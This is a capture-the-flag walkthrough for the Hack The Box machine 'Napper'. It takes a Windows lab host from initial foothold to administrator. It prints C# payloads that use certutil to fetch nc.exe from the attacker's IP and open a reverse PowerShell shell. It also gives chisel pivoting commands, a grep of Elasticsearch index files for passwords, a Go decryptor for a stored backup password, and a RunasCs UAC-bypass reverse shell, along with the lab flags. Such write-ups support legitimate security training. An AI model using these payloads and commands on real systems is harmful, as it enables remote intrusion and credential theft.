
Nmap Results
# Nmap 7.94SVN scan initiated Fri Feb 23 23:45:12 2024 as: nmap -Pn -p- --min-rate 2000 -A -oN nmap.txt 10.10.11.240
Nmap scan report for 10.10.11.240
Host is up (0.16s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://app.napper.htb
|_http-server-header: Microsoft-IIS/10.0
443/tcp open ssl/http Microsoft IIS httpd 10.0
| tls-alpn:
|_ http/1.1
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_ssl-date: 2024-02-24T04:46:34+00:00; -8s from scanner time.
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:app.napper.htb
| Not valid before: 2023-06-07T14:58:55
|_Not valid after: 2033-06-04T14:58:55
|_http-generator: Hugo 0.112.3
|_http-title: Research Blog | Home
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows XP (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: Microsoft Windows XP SP3 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -8s
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 306.91 ms 10.10.14.1
2 309.01 ms 10.10.11.240
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 23 23:46:42 2024 -- 1 IP address (1 host up) scanned in 89.92 secondsWe can see app.napper.htb in the HTTP redirect, so let's go ahead and add that to our /etc/hosts file.
echo '10.10.11.240 app.napper.htb' | sudo tee -a /etc/hostsService Enumeration
TCP/443

Gobuster Enumeration
Directory and File Enumeration
gobuster dir -k -u https://app.napper.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -x html,asp,aspx,txt -o gobuster-443.txt -t 100
Virtual Host Enumeration
gobuster vhost -k --domain napper.htb --append-domain -u https://10.10.11.240 -w /usr/share/dnsrecon/subdomains-top1mil.txt -t 20 -o vhost.txt --exclude-length 334
Let's get this new virtual host added to our /etc/hosts file.
echo '10.10.11.240 internal.napper.htb' | sudo tee -a /etc/hostsinternal.napper.htb

Finding a Valid Credential
We don't have a credential, so let's hunt around on app.napper.htb (and elsewhere) for some potential leads.


In Step 6 we can see the username example and password ExamplePassword. And, I'm sure you're thinking, "There's no way that's the actual login," but we should certainly give it a try.

The HTTP 200 means we're in!



Exploring the Site Contents

It seems like there may be a way to achieve code execution on the target based on the malware assessment and indications that the malware sample may be running locally.
This means that any web request to/ews/MsExgHealthCheckd/that contains a base64-encoded .NET assembly in thesdafwe3rwe23parameter will be loaded and executed in memory. It's worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.

Finding the Sandbox
The malware research article on internal.napper.htb indicates that the malware is being hosted in a sandbox. I suspect this host name will be sandbox.napper.htb.
echo '10.10.11.240 sandbox.napper.htb' | sudo tee -a /etc/hostsIf we reference the malware research linked in the References section of the internal article, we can better understand how to know when we've found the correct server name and page.

To summarize:
- To hide itself, the malware will respond with a generic
HTTP 404response when an unexpected request is received, and with theServerheader ofMicrosoft-IIS/10.0 - The malware is expecting a
HTTP POSTrequest to/ews/MsExgHealthCheckd/?sdafwe3rwe23on the server name where the malware is listening. Thesdafwe3rweparameter is expecting a base64-encoded .NET assembly as input and the .NET assembly should contain a Run method - If the malware receives a
HTTP POSTrequest to/ews/MsExgHealthCheckd/?sdafwe3rwe23with data in thePOSTbody, it will parse the data and flush. It will also respond with aServerheader ofMicrosoft-IIS/10.0 Microsoft-HTTPAPI/2.0. - We'll know we've found the correct hostname and path when we see
Server: Microsoft-IIS/10.0 Microsoft-HTTPAPI/2.0upon sending aHTTP POSTrequest

Exploit
Testing Command Execution
C# developer, so I relied heavily on ChatGPT and Bing AI to create and debug this script. It went through many iterations to get to this point.This .NET assembly will spawn a process with arguments. In this case, spawn ping with my HackTheBox VPN IP address as the argument. Since my file is named sh.cs, I'll want my namespace to match the file name at compile.
sh.cs
using System;
using System.Diagnostics;
namespace sh
{
public class Run
{
public Run()
{
try
{
// Create process start info
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "ping"; // Command to execute
psi.Arguments = "10.10.14.39"; // IP address to ping
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
psi.CreateNoWindow = true;
// Start the process
using (Process process = Process.Start(psi))
{
// Read the output (ping results)
using (System.IO.StreamReader reader = process.StandardOutput)
{
string result = reader.ReadToEnd();
Console.WriteLine(result);
}
}
}
catch (Exception ex)
{
Console.WriteLine($"An error occurred: {ex.Message}");
}
}
public static void Main()
{
new Run();
}
}
}
To compile the app, we can use the mcs tool found in mono-devel.
sudo apt install -y mono-devel
mcs -out:sh.exe sh.cs
payload=$(base64 -w 0 sh.exe)Install mono-devel and compile
sudo tcpdump -ni tun0 icmpStart tcpdump to listen for ICMP requests
curl -X POST -i -s -k 'https://sandbox.napper.htb/ews/MsExgHealthCheckd/' --data-urlencode "sdafwe3rwe23=$payload"Use curl to encode and send the payload as a HTTP POST request

Reverse Shell
sh.cs
using System;
using System.Diagnostics;
namespace sh
{
public class Run
{
public Run()
{
try
{
// Create process start info
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "certutil"; // Command to execute
psi.Arguments = "-f -split -urlcache http://10.10.14.39/nc.exe C:\\Windows\\Tasks\\nc.exe"; // IP address to ping
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
psi.CreateNoWindow = true;
// Start the process
using (Process process = Process.Start(psi))
{
// Read the output (ping results)
using (System.IO.StreamReader reader = process.StandardOutput)
{
string result = reader.ReadToEnd();
Console.WriteLine(result);
}
}
}
catch (Exception ex)
{
Console.WriteLine($"An error occurred: {ex.Message}");
}
try
{
// Create process start info
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "C:\\Windows\\Tasks\\nc.exe"; // Command to execute
psi.Arguments = "10.10.14.39 443 -e powershell.exe"; // IP address to ping
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
psi.CreateNoWindow = true;
// Start the process
using (Process process = Process.Start(psi))
{
// Read the output (ping results)
using (System.IO.StreamReader reader = process.StandardOutput)
{
string result = reader.ReadToEnd();
Console.WriteLine(result);
}
}
}
catch (Exception ex)
{
Console.WriteLine($"An error occurred: {ex.Message}");
}
}
public static void Main()
{
new Run();
}
}
}

Post-Exploit Enumeration
Operating Environment
OS & Kernel
Host Name: NAPPER
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19045 N/A Build 19045
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: ruben
Registered Organization:
Product ID: 00330-80112-18556-AA262
Original Install Date: 6/7/2023, 12:21:37 PM
System Boot Time: 4/17/2024, 11:49:24 PM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2295 Mhz
BIOS Version: VMware, Inc. VMW71.00V.16707776.B64.2008070230, 8/7/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume2
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 4,095 MB
Available Physical Memory: 1,593 MB
Virtual Memory: Max Size: 4,799 MB
Virtual Memory: Available: 2,300 MB
Virtual Memory: In Use: 2,499 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0 2
DHCP Enabled: No
IP address(es)
[01]: 10.10.11.240
[02]: fe80::9bc5:77d9:9d6d:409e
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
Current User
USER INFORMATION
----------------
User Name SID
============ ==============================================
napper\ruben S-1-5-21-1567175541-2888103920-4161894620-1001
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
ERROR: Unable to get user claims information.
Users and Groups
Local Users
User accounts for \\NAPPER
-------------------------------------------------------------------------------
Administrator backup DefaultAccount
example Guest ruben
WDAGUtilityAccount
Local Groups
Aliases for \\NAPPER
-------------------------------------------------------------------------------
*Access Control Assistance Operators
*Administrators
*Backup Operators
*Cryptographic Operators
*Device Owners
*Distributed COM Users
*Event Log Readers
*Guests
*Hyper-V Administrators
*IIS_IUSRS
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Power Users
*Remote Desktop Users
*Remote Management Users
*Replicator
*System Managed Accounts Group
*Users
Network Configurations
Network Interfaces
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::9bc5:77d9:9d6d:409e%10
IPv4 Address. . . . . . . . . . . : 10.10.11.240
Subnet Mask . . . . . . . . . . . : 255.255.252.0
Default Gateway . . . . . . . . . : 10.10.10.2
Open Ports
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 900
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 5356
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 668
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 536
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1096
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 1520
TCP 0.0.0.0:61807 0.0.0.0:0 LISTENING 660
TCP 10.10.11.240:139 0.0.0.0:0 LISTENING 4
TCP 127.0.0.1:9200 0.0.0.0:0 LISTENING 4880
TCP 127.0.0.1:9300 0.0.0.0:0 LISTENING 4880
TCP [::]:135 [::]:0 LISTENING 900
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:49664 [::]:0 LISTENING 668
TCP [::]:49665 [::]:0 LISTENING 536
TCP [::]:49666 [::]:0 LISTENING 1096
TCP [::]:49667 [::]:0 LISTENING 1520
TCP [::]:61807 [::]:0 LISTENING 660
Processes and Services
Interesting Processes
Name : powershell.exe
Owner :
CommandLine : "powershell.exe" -File C:\Users\ruben\AppData\System32\iis.ps1
Name : RunA.exe
Owner :
CommandLine : c:\users\ruben\appdata\System32\RunA.exe C:\Users\ruben\AppData\Local\Temp\tmp2FAB.tmp
Name : elasticsearch-service-x64.exe
Owner :
CommandLine :
Scheduled Tasks
Interesting Scheduled Tasks
TaskName: \iisHelper
Task To Run: powershell.exe -File C:\Users\ruben\AppData\System32\iis.ps1
Run As User: ruben
Interesting Files
C:\Temp\www\internal\content\posts\no-more-laps.md
---
title: "**INTERNAL** Getting rid of LAPS"
description: Replacing LAPS with out own custom solution
date: 2023-07-01
draft: true
tags: [internal, sysadmin]
---
# Intro
We are getting rid of LAPS in favor of our own custom solution.
The password for the `backup` user will be stored in the local Elastic DB.
IT will deploy the decryption client to the admin desktops once it it ready.
We do expect the development to be ready soon. The Malware RE team will be the first test group.
C:\Temp\www\internal\content\posts\internal-laps-alpha\.env
ELASTICUSER=user
ELASTICPASS=DumpPassword\$Here
ELASTICURI=https://127.0.0.1:9200
Privilege Escalation
Looking at the all of the information gathered from post-exploit enumeration, it was quite obvious that the next move involved Elasticsearch running on tcp/9200. I've had some experience with the Elastic stack, due to playing around with SIEM solutions in my home lab.
Port Forwarding
Chisel Reverse SOCKS5 Proxy
For this task, I am going to be using the chisel binary. I have a nice overview of different port forwarding scenarios here in my notes.

download_chisel() function that I wrote in my notes to download the latest version of chisel
sudo python3 -m http.server 80Serve the chisel.exe binary over HTTP
iwr -useb 'http://10.10.14.2/chisel.exe' -o C:\Windows\Tasks\chisel.exeDownload chisel.exe to the target
sudo ./chisel server --port 8081 --reverse &Start chisel on Kali in reverse port forwarding
# Use a PowerShell job to run chisel.exe in the background
# Connects to chisel server 10.10.14.2:8081
# Running in reverse SOCKS mode to facilitate multiple ports
$scriptBlock = { Start-Process C:\Windows\Tasks\chisel.exe -ArgumentList @('client','10.10.14.2:8081','R:58080:socks') }
Start-Job -ScriptBlock $scriptBlock
sudo nano /etc/proxychains4.confEdit your local proxychains configuration
[ProxyList]
socks5 127.0.0.1 58080
Add the socks5 proxy to proxychains
Add the SOCKS Proxy to Burp

This setting is persistent in Burp, so if you do not disable it and start up Burp next time, you'll likely be scratching your head wondering why Burp can't get to the internet

Exploring Elasticsearch

elastic:elastic credential did not work herels -recurse -file 'C:\Program Files\elasticsearch-8.8.0\data\indices' | Get-Content -ErrorAction SilentlyContinue | Select-String 'passw'Dump the raw content from the indices and search for the string passw


oKHzjZw0EGcRxT2cux5K is the password for the elastic user

Use this as a reference to enumerate more with credentials

We're going to need to understand the inner-workings of the
a.exe binary.Transfer the Binary to Kali
sudo impacket-smbserver -smb2support evil .Start a SMB server in the current directory
New-SmbMapping 'X:' \\10.10.14.2\evilMap the SMB share on the target to X:
cp C:\Temp\www\internal\content\posts\internal-laps-alpha\* X:\Copy the files to Kali

Analyze the Binary


Ghidra Binary Analysis
sudo apt install -y ghidra
ghidra &Install Ghidra if not already installed and launch it

We'll load a Golang extension to enable better decompilation

wget https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension/releases/download/1.2.3/ghidra_11.0_PUBLIC_20231228_GolangAnalyzerExtension.zip -O analyzer.zipSave the file in the current directory as analyzer.zip


+ icon
analyzer.zip and click OK
OK





a.exe file wherever you've saved it

a.exe



main entry point using the filter
main function, this is where the .env file is sourced in
seed value
main.randStringList, main.genKey, and main.encrypt functions to create a new password with the seed value


backup user as well
main.encrypt to open the function

Building a Golang Decyptor
Here's what we know about the app based on the Ghidra analysis:
- The
main.genKeyfunction generates an 8-digit seed to derive an AES-128-CFB encryption key - The
main.encryptfunction then generates the encryption key and encrypts the plaintext string into cipher text - The
main.mainfunction calls both of these functions and forms someJSONto send to Elasticsearch for storage- The
seedand the encryptedblobare both stored in the database
- The
ChatGPT Initial Prompt
I am reverse-engineering a binary written in Golang that encrypts a string using an AES CFB cipher. I want to share with you some information from Ghidra in hopes you might be able to assist.
Follow-Up Prompt
This is the encryption key generation function as reversed using Ghidra:
Paste contents from main.genKey in Ghidra into ChatGPT
Follow-Up Prompt
This is the encryption function as reversed using Ghidra:
Paste contents from main.encrypt in Ghidra into ChatGPT
Follow-Up Prompt
Now, here's the part I need your help with. I know the
seedthat was used to derive the encryption key. And, I have the ciphertext. Can you make a best effort to reconstruct the originalmain.genKeyfunctions andmain.encrypt, such that if give you the seed and the URL-safe base64-encoded ciphertext, you can write a Golang code snippet to derive another encryption key using the same seed and decrypt the URL-safe base64-encoded ciphertext?Let me clarify that I do not need an encrypt function. I simply need to share with you the seed used to derive the AES CFB key, so that another encryption key can be derived and decrypt the URL-safe base64-encoded ciphertext.
Seed:
paste_seed_here
Base64-encoded ciphertext:paste_base64_blob_here
crypto/rand library, but the a.exe binary uses math/rand, so I swapped that out due to errorsdecrypt.go
package main
import (
"crypto/aes"
"crypto/cipher"
"math/rand"
"encoding/base64"
"fmt"
)
func genKey(seed int64) []byte {
rand.Seed(seed)
key := make([]byte, 16)
for i := 0; i < 16; i++ {
key[i] = byte(rand.Intn(0xfe) + 1)
}
return key
}
func decrypt(seed int64, ciphertext string) (string, error) {
key := genKey(seed)
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
decodedCiphertext, err := base64.URLEncoding.DecodeString(ciphertext)
if err != nil {
return "", err
}
iv := decodedCiphertext[:aes.BlockSize]
decodedCiphertext = decodedCiphertext[aes.BlockSize:]
plaintext := make([]byte, len(decodedCiphertext))
cfb := cipher.NewCFBDecrypter(block, iv)
cfb.XORKeyStream(plaintext, decodedCiphertext)
return string(plaintext), nil
}
func main() {
seed := int64(...) // Replace with the actual seed
ciphertext := "..." // Replace with actual b64 ciphertext
plaintext, err := decrypt(seed, ciphertext)
if err != nil {
fmt.Println("Decryption error:", err)
return
}
fmt.Println("Decrypted plaintext:", plaintext)
}
seed and blob rotate at regular intervals. So if you decrypt the ciphertext, but get a login error, refresh the page, update decrypt.go with the new seed and blog and try again.curl -x socks5://127.0.0.1:58080 -u 'elastic:oKHzjZw0EGcRxT2cux5K' -ks 'https://127.0.0.1:9200/_search?pretty' | grep -E 'seed|blob'
# Update the seed in decrypt.go
curl -x socks5://127.0.0.1:58080 -u 'elastic:oKHzjZw0EGcRxT2cux5K' -ks 'https://127.0.0.1:9200/_search?pretty' | tr -d ' ' | grep '^"seed' | cut -d ':' -f 2 | xargs -I % sed -i -e 's/seed\ :=\ int64\(.*\)$/seed := int64(%)/g' decrypt.go
# Update blob in decrypt.go
curl -x socks5://127.0.0.1:58080 -u 'elastic:oKHzjZw0EGcRxT2cux5K' -ks 'https://127.0.0.1:9200/_search?pretty' | tr -d ' ' | grep blob | cut -d ':' -f 2 | sed -E 's/"|,//g' | xargs -I % sed -i -E -e 's/ciphertext\ :=\ ".*"/ciphertext := "%"/g' decrypt.go

Lateral to Backup
nc.exe on the box, I'll just use that to pivot to the backup user
wget https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip
unzip RunasCs.zipDownload the binary to Kali
iwr -useb http://10.10.14.2/RunasCs.exe -o C:\Windows\Tasks\runas.exeDownload it to the target
sudo rlwrap nc -lnvp 443Start a listener on Kali
C:\Windows\Tasks\runas.exe 'backup' 'wxzhuAyyKHmNDIElQQJliJZnqVQPcsmptLedskge' 'C:\Windows\Tasks\nc.exe 10.10.14.2 443 -e powershell.exe' --bypass-uacStart nc.exe as the backup user on the target and connect to our TCP listener


Flags
User
d5d29b66505183aa59402e833d512db3
Root
a9985c6c07bc7ba61958e46483919699

